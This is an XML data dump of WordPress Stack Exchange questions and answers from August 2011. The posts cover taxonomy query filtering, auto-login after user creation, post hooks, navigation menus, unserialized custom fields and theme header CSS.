  <row Id="25075" PostTypeId="2" ParentId="25073" CreationDate="2011-08-05T14:26:15.677" Score="2" ViewCount="" Body="&lt;p&gt;If the page needs to be added and available on the front end, you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_post&quot; rel=&quot;nofollow&quot;&gt;wp_insert_post()&lt;/a&gt; to create the page, the use a conditional to only display it if the user is logged in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if(is_user_logged_in()) { // display content }&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-08-05T14:26:15.677" />
  <row Id="25076" PostTypeId="1" CreationDate="2011-08-05T14:32:08.363" Score="1" ViewCount="47" Body="&lt;p&gt;I want to filter Wordpress search (and also Wordpress listing of posts) on 2 values of a custom taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this code, filtering my custom taxonomy named &quot;marque&quot;, excluding 70 or 67 IDs (nb : in my back-office, posts can only be classified into one term of my taxonomy a time) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Filtering on listing&#xA;function filtre_listes( $query ) {&#xA;    if ( !is_admin() ) {&#xA;        $query-&amp;gt;set( 'marque', '-70,-67' );&#xA;    }&#xA;    return $query;&#xA;}&#xA;add_action( 'pre_get_posts', 'filtre_listes' );&#xA;&#xA;// Filtering on searches&#xA;function filtre_recherches(&amp;amp;$query)&#xA;{&#xA;    if ( $query-&amp;gt;is_search &amp;amp;&amp;amp; ( !is_admin() ) )&#xA;        $query-&amp;gt;set('marque', '-70,-67');&#xA;    return $query;&#xA;}&#xA;add_action('parse_query', 'filtre_recherches');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it doesn't seems to work. I use Wordpress 3.0.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot, and sorry for my approximative english !&lt;/p&gt;&#xA;" OwnerUserId="7671" LastActivityDate="2011-09-05T12:43:08.383" Title="How to filter Wordpress search, excluding post in some custom taxonomies?" Tags="&lt;custom-taxonomy&gt;&lt;filters&gt;&lt;search&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="25077" PostTypeId="2" ParentId="25059" CreationDate="2011-08-05T14:42:50.103" Score="1" ViewCount="" Body="&lt;p&gt;You should be able to exclude posts with a specific format using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Taxonomy_Parameters&quot; rel=&quot;nofollow&quot;&gt;WP_Query's &lt;code&gt;tax_query&lt;/code&gt; parameter&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$q_args = array( &#xA;    'posts_per_page' =&amp;gt; 1, &#xA;    'tax_query' =&amp;gt; array(&#xA;        array(&#xA;            'taxonomy' =&amp;gt; 'post_format',&#xA;            'field' =&amp;gt; 'slug',&#xA;            'terms' =&amp;gt; array( 'post-format-link' ),&#xA;            'operator' =&amp;gt; 'NOT IN'&#xA;        )&#xA;    )&#xA;);&#xA;$featured-&amp;gt;query( $q_args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Untested, but should do the trick..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="7706" LastEditorDisplayName="" LastEditDate="2011-08-07T13:50:04.610" LastActivityDate="2011-08-07T13:50:04.610" CommentCount="2" />
  <row Id="25078" PostTypeId="1" AcceptedAnswerId="25209" CreationDate="2011-08-05T14:48:48.740" Score="0" ViewCount="29" Body="&lt;p&gt;I have a form that creates a new user by using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_create_user()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works, but after this I want to auto log in the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$creds = array();&#xA;$creds['user_login'] = 'username';&#xA;$creds['user_password'] = 'password';&#xA;$creds['remember'] = true;&#xA;$user = wp_signon( $creds, false );&#xA;    if ( is_wp_error($user) ) {&#xA;       $msg =  $user-&amp;gt;get_error_message();&#xA;       die($msg);&#xA;    } else {&#xA;        $output_form = true;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this creates a &quot;headers already sent&quot; error message because it's not at the top of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to auto log in the user after I have created the user?&lt;/p&gt;&#xA;" OwnerUserId="2417" LastActivityDate="2011-08-07T11:57:16.980" Title="Set user after wp_create_user?" Tags="&lt;user&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="25079" PostTypeId="1" AcceptedAnswerId="25083" CreationDate="2011-08-05T14:53:27.083" Score="0" ViewCount="74" Body="&lt;p&gt;I'm trying to use the function get_the_tags() from outside the 'loop'.&lt;br&gt;&#xA;I understand this can be achieved by using the post ID like &lt;code&gt;get_the_tags($postID)&lt;/code&gt;. Does anyone know how I can get the post ID from inside a wp_insert_post_data function?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using 'guid' which is &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Filter_Reference/wp_insert_post_data&quot; rel=&quot;nofollow&quot;&gt;suggested here&lt;/a&gt;, although I've had no luck. I'm also not sure that's even the post ID. Any help with this will be appriciated. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;br&gt;&#xA;Here's the code I'm working with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function changePost($data, $postarr) {&#xA;&#xA;  $postid = $postarr[&quot;ID&quot;];&#xA;  $posttags = $postarr['tags_input']; // This doesn't work.&#xA;&#xA;  $content = $data['post_content'];&#xA;  $subject = $data['post_title'];&#xA;  if($data['post_status'] == 'publish') {&#xA;    sendviaemail($content, $subject, $postid, $posttags);&#xA;  }&#xA;&#xA;return $data;&#xA;}&#xA;&#xA;add_filter('wp_insert_post_data','changePost','99',2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, I want to send the post ID, post tags, content and the subject to another function called &quot;sendviaemail&quot;. Everything is okay, except I don't know how to get the tags from the post.&lt;/p&gt;&#xA;" OwnerUserId="7499" LastEditorUserId="7499" LastEditorDisplayName="" LastEditDate="2011-08-05T17:44:54.080" LastActivityDate="2011-08-16T04:40:19.763" Title="Getting post id from wp_insert_post_data function?" Tags="&lt;posts&gt;&lt;add-filter&gt;&lt;id&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="25080" PostTypeId="1" CreationDate="2011-08-05T14:53:29.677" Score="0" ViewCount="31" Body="&lt;p&gt;I am currently doing the following in my wordpress theme,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;&#xA;$pagelist = wp_list_pages( array( &#xA;    'include' =&amp;gt; '154, 136', &#xA;    'title_li' =&amp;gt; '', &#xA;    'sort_column' =&amp;gt; 'ID', &#xA;    'sort_order' =&amp;gt; 'DESC', &#xA;    'depth' =&amp;gt; '0',&#xA;    'echo' =&amp;gt; false&#xA;));&#xA;&#xA;if($post-&amp;gt;post_type == &quot;casestudy&quot;) {&#xA;    $args = array( 'post_type' =&amp;gt; 'casestudy');&#xA;    $case_studies = new WP_Query( $args );&#xA;    $casestudylist = &quot;&quot;;&#xA;    foreach ($case_studies-&amp;gt;posts as $k =&amp;gt; $v) {&#xA;        $active = &quot;&quot;; &#xA;        if($v-&amp;gt;post_status == &quot;publish&quot;) {&#xA;            if($v-&amp;gt;ID == $post-&amp;gt;ID)&#xA;            {&#xA;                $active = &quot;current_page&quot;;&#xA;            }&#xA;            $casestudylist .= &quot;&amp;lt;li class='subnav &quot;.$active.&quot;'&amp;gt;&amp;lt;a href=&quot;.$v-&amp;gt;guid.&quot;&amp;gt;&quot;. substr($v-&amp;gt;post_title, 0, strpos($v-&amp;gt;post_title, ':')) .&quot;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&quot;;&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;&#xA;$testimonials = wp_list_pages( array( &#xA;    'include' =&amp;gt; '318', &#xA;    'title_li' =&amp;gt; '', &#xA;    'sort_column' =&amp;gt; 'ID', &#xA;    'sort_order' =&amp;gt; 'DESC', &#xA;    'depth' =&amp;gt; '1',&#xA;    'echo' =&amp;gt; false&#xA;));&#xA;//die(print_r($casestudylist));&#xA;&#xA;$concatenatedlist = $pagelist . $casestudylist . $testimonials;&#xA;&#xA;?&amp;gt;&#xA;&#xA;&#xA;&#xA;&amp;lt;aside class=&quot;secondary&quot;&amp;gt;&#xA;    &amp;lt;nav&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;?php echo $concatenatedlist; ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/nav&amp;gt;&#xA;&amp;lt;/aside&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What this does is it builds a navigation, and gives the impression that a page has some children, that are built up with custom post types. What is happening is that if I looking at a post from the $casestudylist I need some how also add an active class onto the first link that comes from $pagelist even though to two are unrelated, I don't mind if it is a jquery solution. Basically if an element in my casestudylist is active I need to have the case study link marked as active also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the HTML the PHP creates.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;aside class=&quot;secondary&quot;&amp;gt;&#xA;    &amp;lt;nav&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;                &amp;lt;li class=&quot;page_item page-item-154&quot;&amp;gt;&#xA;                      &amp;lt;a href=&quot;/clients&quot;&amp;gt;Clients&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li class=&quot;page_item page-item-136&quot;&amp;gt;&#xA;                        &amp;lt;a href=&quot;/case-study&quot;&amp;gt;Case Study&amp;lt;/a&#xA;                    &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li class=&quot;subnav current_page&quot;&amp;gt;&#xA;                        &amp;lt;a href=&quot;/?post_type=casestudy&amp;amp;amp;p=161&quot;&amp;gt;Brenntag&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li class=&quot;subnav &quot;&amp;gt;&#xA;                         &amp;lt;a href=&quot;/?post_type=casestudy&amp;amp;amp;p=104&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li class=&quot;subnav &quot;&amp;gt;&#xA;                         &amp;lt;a href=&quot;?post_type=casestudy&amp;amp;amp;p=65&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li class=&quot;page_item page-item-318&quot;&amp;gt;&#xA;                        &amp;lt;a href=&quot;/testimonials&quot;&amp;gt;Testimonials&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/nav&amp;gt;&#xA;&amp;lt;/aside&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6964" LastActivityDate="2011-08-05T14:53:29.677" Title="wordpress wp_list_pages help" Tags="&lt;custom-post-types&gt;&lt;navigation&gt;&lt;wp-list-pages&gt;" CommentCount="1" />
  <row Id="25081" PostTypeId="2" ParentId="25078" CreationDate="2011-08-05T15:04:43.257" Score="1" ViewCount="" Body="&lt;p&gt;You should probably use the action hook &lt;code&gt;init&lt;/code&gt; to catch and process the registration form.  This hook is called before anything is sent to the browser. If the form validates...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create the user with &lt;code&gt;wp_create_user&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Log in the user with &lt;code&gt;wp_signon&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Redirect the user using &lt;code&gt;wp_redirect&lt;/code&gt; to the page of your choice&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7568" LastActivityDate="2011-08-05T15:04:43.257" CommentCount="2" />
  <row Id="25082" PostTypeId="2" ParentId="20152" CreationDate="2011-08-05T15:19:53.687" Score="-1" ViewCount="" Body="&lt;p&gt;Have you tried to redefine the base url in your sub-folder .htaccess (with this sub-folder for value) ?&lt;/p&gt;&#xA;" OwnerUserId="7671" LastActivityDate="2011-08-05T15:19:53.687" />
  <row Id="25083" PostTypeId="2" ParentId="25079" CreationDate="2011-08-05T15:29:23.530" Score="2" ViewCount="" Body="&lt;p&gt;In the following, '10' is the priority that &lt;code&gt;my_func&lt;/code&gt; gets called and '2' is the number of arguments that &lt;code&gt;my_func&lt;/code&gt; accepts.  &lt;strong&gt;The latter is important&lt;/strong&gt;, since the &lt;code&gt;add_filter&lt;/code&gt; function defines the default as 1, but the &lt;code&gt;wp_insert_post_data&lt;/code&gt; filter hook sends two arguments. If you don't set this as 2 you won't get the second argument.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter(&quot;wp_insert_post_data&quot;, &quot;my_func&quot;, 10, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now make your function...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_func($data, $postarr){&#xA;    //at this point, if it's not a new post, $postarr[&quot;ID&quot;] should be set&#xA;    //do your stuff...&#xA;    return $data;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT--- based on your added code above&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't need to modify the post's &lt;code&gt;$data&lt;/code&gt; before the post is saved then you're using the wrong hook.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the &lt;code&gt;save_post&lt;/code&gt; action hook instead.  This gets called after the post is saved and all the taxonomies are saved. So you don't have to worry about whether new tags have been added.  It sends two arguments to your function: the ID of the post and the post itself as an object. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action(&quot;save_post&quot;, &quot;my_save_post&quot;);&#xA;function my_save_post($post_id, $post){&#xA;    if (&quot;publish&quot; != $post-&amp;gt;post_status) return;&#xA;    $tags = get_the_tags($post_id); //an array of tag objects&#xA;    //call your email func etc...&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7568" LastEditorUserId="7568" LastEditorDisplayName="" LastEditDate="2011-08-05T18:05:39.320" LastActivityDate="2011-08-05T18:05:39.320" CommentCount="12" />
  <row Id="25084" PostTypeId="1" AcceptedAnswerId="25089" CreationDate="2011-08-05T15:36:15.877" Score="1" ViewCount="30" Body="&lt;p&gt;I'm creating some custom templates and I keep running in to a problem where I get'Page not found'. After a bit of debugging, I discovered that I only get this if my URL contains &lt;code&gt;www.mysite.com/custom_page/?name=donkey_boy&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use &lt;code&gt;www.mysite.com/custom_page/?full_name=donkey_boy&lt;/code&gt;, the page loads as it should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that mean that &lt;code&gt;name&lt;/code&gt; is a reserved word?&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2011-08-05T16:19:08.423" Title="Is 'name' a reserved word in URL's?" Tags="&lt;urls&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="25086" PostTypeId="2" ParentId="25076" CreationDate="2011-08-05T15:45:59.693" Score="1" ViewCount="" Body="&lt;p&gt;Try&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tax_query = array(&#xA;    'relation' =&amp;gt; 'AND',&#xA;     array(&#xA;        'taxonomy' =&amp;gt; 'marque',&#xA;        'terms' =&amp;gt; array( 70, 67 ),&#xA;        'field' =&amp;gt; 'term_id',&#xA;        'operator' =&amp;gt; 'NOT IN'&#xA;      )&#xA; );&#xA; //turn it into a WP_Tax_Query object...&#xA;$tax_query = new WP_TaxQuery($tax_query);&#xA;&#xA;$query-&amp;gt;set(&quot;tax_query&quot;, $tax_query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7568" LastActivityDate="2011-08-05T15:45:59.693" CommentCount="2" />
  <row Id="25087" PostTypeId="2" ParentId="25071" CreationDate="2011-08-05T15:50:09.327" Score="0" ViewCount="" Body="&lt;p&gt;I think you have two options (third if you find any plugins).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I think if you export data from one WP, the users are also copied. The drawback is that you have to import all the content as well.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The second option is to export the users from MySQL using PHPMyAdmin. Just export the user table. If you want to include privilidges as well, you have to export wp_usermeta as well.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2011-08-05T15:50:09.327" CommentCount="1" />
  <row Id="25088" PostTypeId="1" CreationDate="2011-08-05T16:18:48.647" Score="1" ViewCount="53" Body="&lt;p&gt;Been stuck on this for a while now.  Haven't come across anything that has shed any light on it for me...  Pardon my ignorance... quite a newbie at this level of php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem:&#xA;I am using the wp-property plugin, but need a field that can have multiple numeric values.&#xA;Using Advanced Custom Fields to set up a checkbox field that can accept multiple numeric values.&#xA;I am attempting to add this field to the wp-property search function.&#xA;I get a dropdown menu, but it is populated with lines that look like unformatted arrays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;s:19.a:1:{i:0;s2&lt;/em&gt;  and so on.  My values are in that string but I don't know what to do to single them out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this in my functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wpp_searchable_attributes', 'add_lease_to_searchable');&#xA; function add_lease_to_searchable($fields) {&#xA;&#xA;if(is_array($fields))&#xA;&#xA;array_push($fields,  'lease-space1' );&#xA;&#xA;&#xA;return $fields;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which gets that dropdown to be a part of the wp-property function.  If anybody has an idea on how to extract the values... even better put one on each dropdown line, that would be amazing. Feel stuck with no light at the end of the tunnel.  &lt;/p&gt;&#xA;" OwnerUserId="7673" LastActivityDate="2011-09-05T05:42:58.167" Title="Stuck with a Custom Field Check box Array" Tags="&lt;array&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="25089" PostTypeId="2" ParentId="25084" CreationDate="2011-08-05T16:19:08.423" Score="3" ViewCount="" Body="&lt;p&gt;I guess this'll solve your query... &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_taxonomy#Reserved_Terms&quot; rel=&quot;nofollow&quot;&gt;WordPress Reserved Terms&lt;/a&gt;. Just search for 'name', it's there.&lt;/p&gt;&#xA;" OwnerUserId="4740" LastActivityDate="2011-08-05T16:19:08.423" CommentCount="3" />
  <row Id="25090" PostTypeId="2" ParentId="25088" CreationDate="2011-08-05T16:26:22.333" Score="0" ViewCount="" Body="&lt;p&gt;It's a serialized string. Use &lt;a href=&quot;http://php.net/manual/en/function.unserialize.php&quot; rel=&quot;nofollow&quot;&gt;Unserialize&lt;/a&gt; to get an array out of this. Also checkout WP's &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/maybe_unserialize&quot; rel=&quot;nofollow&quot;&gt;maybe_unserialize&lt;/a&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $string = &quot;s:19.a:1:{i:0;s2&quot;;&#xA;&#xA;//Using WP maybe_unserialize&#xA;$result1 = maybe_unserialize($string);&#xA;&#xA;//Using PHP unserialize&#xA;$result2 = unserialize($string); &#xA;&#xA;echo &quot;&amp;lt;pre&amp;gt;&quot;;&#xA;print_r($result1);&#xA;print_r($result2)&#xA;echo &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$result will hold what you want.&lt;/p&gt;&#xA;" OwnerUserId="4740" LastEditorUserId="4740" LastEditorDisplayName="" LastEditDate="2011-08-05T16:32:57.420" LastActivityDate="2011-08-05T16:32:57.420" CommentCount="5" />
  <row Id="25091" PostTypeId="2" ParentId="22163" CreationDate="2011-08-05T17:31:41.380" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codecanyon.net/item/wordpress-premium-content/137192?ref=mordauk&quot; rel=&quot;nofollow&quot;&gt;WordPress Premium Content&lt;/a&gt; is an excellent plugin. It offers free and paid memberships.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't need paid memberships, then &lt;a href=&quot;http://wordpress.org/extend/plugins/restrict-content/&quot; rel=&quot;nofollow&quot;&gt;Restrict Content&lt;/a&gt; is a free plugin by your's truly that will do the trick.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-08-05T17:31:41.380" />
  <row Id="25092" PostTypeId="1" AcceptedAnswerId="25100" CreationDate="2011-08-05T17:51:59.987" Score="0" ViewCount="23" Body="&lt;p&gt;A new site i'm making is going to use extensive use of the categories, so here's what i'm trying to accomplish:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Main Category Name (Link)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;List of Sub Categories (All Links)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i'm on a sub-category page I want it to look like the Main Category page just with the sub-categories highlited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that possible?&lt;/p&gt;&#xA;" OwnerUserId="6910" LastActivityDate="2011-08-05T20:06:16.813" Title="Printing out Category and all Category Children on category.php" Tags="&lt;categories&gt;" AnswerCount="1" />
  <row Id="25093" PostTypeId="1" CreationDate="2011-08-05T19:03:10.943" Score="0" ViewCount="45" Body="&lt;p&gt;Using  a new theme and wondered how I go about reducing the black space above the header as currently it is too deep. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site in question is here&#xA;&lt;a href=&quot;http://www.marqueehireauckland.net.nz/&quot; rel=&quot;nofollow&quot;&gt;http://www.marqueehireauckland.net.nz/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The theme is twenty eleven &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="7677" LastEditorUserId="2001" LastEditorDisplayName="" LastEditDate="2011-08-05T20:00:51.177" LastActivityDate="2011-08-09T16:57:12.133" Title="How to reduce Header at the top of the page" Tags="&lt;themes&gt;&lt;theme-twenty-eleven&gt;" AnswerCount="3" />
  <row Id="25094" PostTypeId="2" ParentId="25066" CreationDate="2011-08-05T19:15:26.797" Score="0" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while ( $query-&amp;gt;have_posts() ) : $query-&amp;gt;the_post();&#xA;  if ( has_tag('tag-slug') )&#xA;  {&#xA;     get_template_part( 'content', 'tag-slug' );&#xA;  }&#xA;  else&#xA;  {&#xA;     get_template_part( 'content' );&#xA;  }&#xA;&#xA;endwhile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would then need to create &lt;code&gt;content.php&lt;/code&gt; and &lt;code&gt;content-tag-slug.php&lt;/code&gt; with the appropriate content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also look into setting up &lt;a href=&quot;http://codex.wordpress.org/Post_Formats&quot; rel=&quot;nofollow&quot;&gt;Post Formats&lt;/a&gt;. A bit more work up front, but a nicer experience down the road.&lt;/p&gt;&#xA;" OwnerUserId="43" LastActivityDate="2011-08-05T19:15:26.797" CommentCount="0" />
  <row Id="25095" PostTypeId="2" ParentId="24924" CreationDate="2011-08-05T19:18:58.713" Score="0" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while ( $query-&amp;gt;have_posts() ) : $query-&amp;gt;the_post();&#xA;  if ( has_tag('tag-slug') )&#xA;  {&#xA;     get_template_part( 'content', 'tag-slug' );&#xA;  }&#xA;  else&#xA;  {&#xA;     get_template_part( 'content' );&#xA;  }&#xA;&#xA;endwhile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would then need to create &lt;code&gt;content.php&lt;/code&gt; and &lt;code&gt;content-tag-slug.php&lt;/code&gt; with the appropriate content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also look into setting up &lt;a href=&quot;http://codex.wordpress.org/Post_Formats&quot; rel=&quot;nofollow&quot;&gt;Post Formats&lt;/a&gt;. A bit more work up front, but a nicer experience down the road.&lt;/p&gt;&#xA;" OwnerUserId="43" LastActivityDate="2011-08-05T19:18:58.713" />
  <row Id="25096" PostTypeId="2" ParentId="25093" CreationDate="2011-08-05T19:30:55.287" Score="0" ViewCount="" Body="&lt;p&gt;That black space is where the name of the website is normally displayed. If you're not going to show the title there, you can remove that space by adding the following CSS to the bottom of &lt;code&gt;style.css&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#site-title { display: none; }&#xA;#branding #searchform { top: 0; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Want to tighten it up even more? Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#site-title, #site-description { display: none; }&#xA;#branding #searchform { top: 294px; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="43" LastActivityDate="2011-08-05T19:30:55.287" />
  <row Id="25097" PostTypeId="2" ParentId="25093" CreationDate="2011-08-05T19:34:29.530" Score="0" ViewCount="" Body="&lt;p&gt;Go into your theme folder (/wp-content/themes/twentyeleven) and on header.php remove everything between the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;hgroup&amp;gt; ... &amp;lt;/hgroup&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-08-05T19:34:29.530" CommentCount="2" />
  <row Id="25098" PostTypeId="2" ParentId="17786" CreationDate="2011-08-05T20:00:59.643" Score="0" ViewCount="" Body="&lt;p&gt;Altough @maryisdead answer might be right, i'll give you another tip, first make sure there's only one element in your page with the id=&quot;editor&quot; then setup tinymce like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tinyMCE.init({&#xA;    ...&#xA;    mode : &quot;exact&quot;,&#xA;    elements : &quot;editor&quot;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also use jQuery instead of $ in your javascript code to make sure you are calling jQuery methods and selectors.&lt;/p&gt;&#xA;" OwnerUserId="7171" LastActivityDate="2011-08-05T20:00:59.643" />
  <row Id="25099" PostTypeId="1" AcceptedAnswerId="25106" CreationDate="2011-08-05T20:03:22.750" Score="1" ViewCount="40" Body="&lt;p&gt;took a look at the questions but I couldn`t find a similar one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to change the custom error messages that are displayed when user tries to login with a wrong username or password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like, change this: &quot;&lt;strong&gt;ERROR&lt;/strong&gt;: The password you entered for the username &lt;strong&gt;%1$s&lt;/strong&gt; is incorrect. Lost your password?&quot; to this &quot;Wrong information&quot; (just an example)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to use the &quot;add_filter&quot; but I`m not familiar with it, so, any help will be appreciated! Thanks&lt;/p&gt;&#xA;" OwnerUserId="4248" LastActivityDate="2011-08-06T00:02:26.067" Title="Change login error messages" Tags="&lt;errors&gt;" AnswerCount="1" />
  <row Id="25100" PostTypeId="2" ParentId="25092" CreationDate="2011-08-05T20:06:16.813" Score="0" ViewCount="" Body="&lt;p&gt;That's damn simple, see here: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_categories&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_categories&lt;/a&gt; .&#xA;The sample downhere should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$kids = get_categories(array('child_of'=&amp;gt;get_query_var('cat'))); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7171" LastActivityDate="2011-08-05T20:06:16.813" />
  <row Id="25101" PostTypeId="2" ParentId="25093" CreationDate="2011-08-05T20:14:10.180" Score="1" ViewCount="" Body="&lt;p&gt;no coding needed - in the dashboard under &lt;strong&gt;&lt;em&gt;Appearance -&gt; Header&lt;/em&gt;&lt;/strong&gt; - &lt;strong&gt;&lt;em&gt;Display Text: No&lt;/em&gt;&lt;/strong&gt;&#xA;this also cleanly moves the searchbox into the menu line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: a css possibility would be to reduce the top padding in the style of &lt;code&gt;#site-title&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4884" LastEditorUserId="4884" LastEditorDisplayName="" LastEditDate="2011-08-09T16:57:12.133" LastActivityDate="2011-08-09T16:57:12.133" />
